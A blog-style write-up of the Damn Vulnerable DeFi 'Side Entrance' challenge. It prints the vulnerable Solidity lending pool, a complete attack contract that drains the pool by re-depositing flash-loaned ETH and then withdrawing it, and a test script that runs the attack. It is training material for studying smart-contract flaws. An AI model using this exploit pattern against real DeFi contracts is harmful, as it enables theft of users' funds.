moon

moon

Build for builders on blockchain
github
twitter

Defi Hacker Series: Damn Vulnerable DeFi (4) - Side Entrance

Damn Vulnerable DeFi is a series of DeFi smart contract attack challenges. The content includes flash loan attacks, lending pools, on-chain oracles, etc. Before starting, you need to have skills in Solidity and JavaScript. Your task for each challenge is to ensure that the unit tests for that challenge pass.

Challenge link: https://www.damnvulnerabledefi.xyz/challenges/4.html

Challenge description:

There is a lending pool contract that allows anyone to deposit ETH and withdraw it at any time. This lending pool already has a balance of 1000 ETH and uses the deposited ETH to provide free flash loans to promote their system.

Your task is to withdraw all the ETH from the lending pool.

Lending pool contract SideEntranceLenderPool.sol:

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

// Interface for contracts using flash loans
interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @dev Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    using Address for address payable;
		
    // Records the balance for each address
    mapping (address => uint256) private balances;
    
    // Deposit funds and record them
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
		
    // Withdraw method
    function withdraw() external {
        // Get the available balance of the caller
        uint256 amountToWithdraw = balances[msg.sender];
        // Set the balance to zero
        balances[msg.sender] = 0;
        // Transfer the available balance from this contract to the caller
        payable(msg.sender).sendValue(amountToWithdraw);
    }
		
    // Flash loan method
    function flashLoan(uint256 amount) external {
        // Get the balance
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        // Call the execute function of the contract using the flash loan
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
				
        // Ensure that the balance has been returned
        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
}

This lending pool contract allows funds to be deposited and provides free use of the flash loan feature to others.

Since the contract provides the deposit method to deposit funds, if the borrowed ETH is deposited using this method, it can satisfy the final repayment requirement of flashLoan and also allow manual withdrawal using the withdraw method.

Therefore, we need an attack contract SideEntranceAttack.sol:

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../side-entrance/SideEntranceLenderPool.sol";

contract SideEntranceAttack is IFlashLoanEtherReceiver, Ownable {
  using Address for address payable;
	
  // Lending pool contract
  SideEntranceLenderPool public pool;

  constructor(address _pool) {
    pool = SideEntranceLenderPool(_pool);
  }
	
  // Flash loan method
  function flashLoan() external onlyOwner {
    // Call the flashLoan function of the lending pool contract to borrow the entire balance
    pool.flashLoan(address(pool).balance);
    
    // Withdraw the balance and transfer it to this contract
    pool.withdraw();
    // Transfer the balance of this contract to the attacker's address
    payable(msg.sender).sendValue(address(this).balance);
  }

  function execute()  external override payable {
    require(msg.sender == address(pool), "caller not the pool");
    // Deposit the borrowed ETH again
    pool.deposit{value: msg.value}();
  }

  receive () external payable {}
}

Attack steps:

  1. Call the flashLoan method of the lending pool contract to borrow the entire balance.
  2. The lending pool contract executes the callback - calls execute, which calls deposit to deposit the borrowed ETH into the lending pool contract.
  3. Call the withdraw method of the lending pool contract to transfer the deposited ETH to this contract.
  4. Transfer the balance from the contract to the attacker's address.

Finally, write our execution code in the test case side-entrance.challenge.js:

it('Exploit', async function () {
  // Deploy the attack contract from the attacker's address
  const SideEntranceAttackFactory = await ethers.getContractFactory('SideEntranceAttack', attacker)
  const sideEntranceReveive = await SideEntranceAttackFactory.deploy(this.pool.address)

  await sideEntranceReveive.flashLoan()
})

Run yarn side-entrance, and the test passes!

Complete code

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.